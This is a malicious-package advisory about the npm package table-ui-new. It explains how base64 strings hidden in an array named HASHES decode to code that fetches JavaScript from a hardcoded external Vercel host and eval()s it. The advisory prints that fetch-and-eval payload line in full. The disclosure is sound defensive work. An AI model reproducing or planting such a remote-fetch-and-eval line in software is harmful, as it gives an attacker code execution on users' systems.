MAL-2026-12473
Dashboard / Malicious Package / MAL-2026-12473
MAL-2026-12473
Summary: Malicious code in table-ui-new (npm)
Details: Source: amazon-inspector (b0b953969edf8d77d5a1be0aa33b4044b38e2352f81c54b0f343f21a1c52c13a) [email protected] ships dist/config.js, exposed via the package.json `./config` subpath export, which exports a module-level array named `HASHES` containing four base64-encoded strings. Each string decodes to an IIFE of the form `(async () => eval(await fetch('https://everydaynodechecker-39147n.vercel.app/api/key?mem=root[0-3]').then(r => r.text())))();` — an unconditional fetch of remote text from a hardcoded external Vercel host followed by eval() of the response. The misleading variable name `HASHES` disguises executable payloads as inert hash data. The main entry (dist/index.js) is a React hooks module and does not itself invoke these blobs, but the payloads are staged behind a public package export, and any consumer that imports `table-ui-new/config` receives the array of ready-to-eval remote-fetch IIFEs. The destination host is unrelated to the package's stated purpose (a React table UI library) and returns attacker-controlled JavaScript that would execute in the consumer's Node process with full host privileges.
References: https://www.npmjs.com/package/table-ui-new/v/2.7.5, https://www.npmjs.com/package/table-ui-new/v/2.7.2, https://www.npmjs.com/package/table-ui-new/v/2.7.4, https://www.npmjs.com/package/table-ui-new/v/2.7.1
Affected packages
Package
Name: table-ui-new
Purl: pkg:npm/table-ui-new
Affected ranges
Type: N/A
Events:
